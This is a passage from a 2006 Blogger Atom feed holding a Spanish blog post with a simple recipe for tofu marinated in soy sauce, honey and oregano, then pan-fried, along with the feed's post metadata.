src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14074570.post-115454269982763549</id><published>2006-08-02T19:57:00.000+02:00</published><updated>2006-08-02T20:18:19.843+02:00</updated><title type='text'>Receta: Tofu con salsa de soja y miel</title><content type='html'>El tofu es un alimento procedente del cuajado de la leche de soja, su elevado contenido en proteinas vegetales permiten que sea sustitutivo de la carne, hasta aquí bien. Ahora, el sabor en crudo es toda una experiencia :D&lt;br /&gt;&lt;br /&gt;Gracias a sus propiedades adquiere el sabor de los alimentos con los que se cocina, aquí va el experimento de la otra noche:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;2 cucharadas de salsa de soja&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Medio vaso de de agua&lt;/li&gt;&lt;br /&gt;&lt;li&gt;1 cucharadita de miel&lt;/li&gt;&lt;br /&gt;&lt;li&gt;100g de tofu cortados en daditos de 0,5cm x 0,5cm&lt;/li&gt;&lt;br /&gt;&lt;li&gt;una cucharadita de oregano&lt;/li&gt;&lt;br /&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;&lt;div align="center"&gt;&lt;a href="http://www.flickr.com/photos/preacher/205025761/" title="Photo Sharing"&gt;&lt;img src="http://static.flickr.com/66/205025761_589649769a.jpg" width="500" height="379" alt="tofu" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Se mezcla el agua la miel y la salsa de soja, se calienta un poco en el microondas para que la miel se mezcle bien, luego se moja el tofu y el oregano y se deja macerar unos minutos, ya solo queda freirlo en la sarten hasta que coja un poco de color, y ala listo para comer.&lt;br /&gt;&lt;br /&gt;Y si, estaba bueno :D&lt;br /&gt;&lt;br /&gt;Tags: &lt;a href="http://technorati.com/tag/tofu" rel="tag"&gt;tofu&lt;/a&gt; &lt;a href="http://technorati.com/tag/soja" rel="tag"&gt;soja&lt;/a&gt; &lt;a href="http://technorati.com/tag/receta" rel="tag"&gt;receta&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14074570-115454269982763549?l=www.tranquilidadtecnologica.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tranquilidadtecnologica.com/feeds/115454269982763549/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14074570&amp;postID=115454269982763549&amp;isPopup=true' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/115454269982763549'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/115454269982763549'/><link rel='alternate' type='text/html' href='http://www.tranquilidadtecnologica.com/2006/08/receta-tofu-con-salsa-de-soja-y-miel.html' title='Receta: Tofu con salsa de soja y miel'/><author><name>fsantos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry></feed>
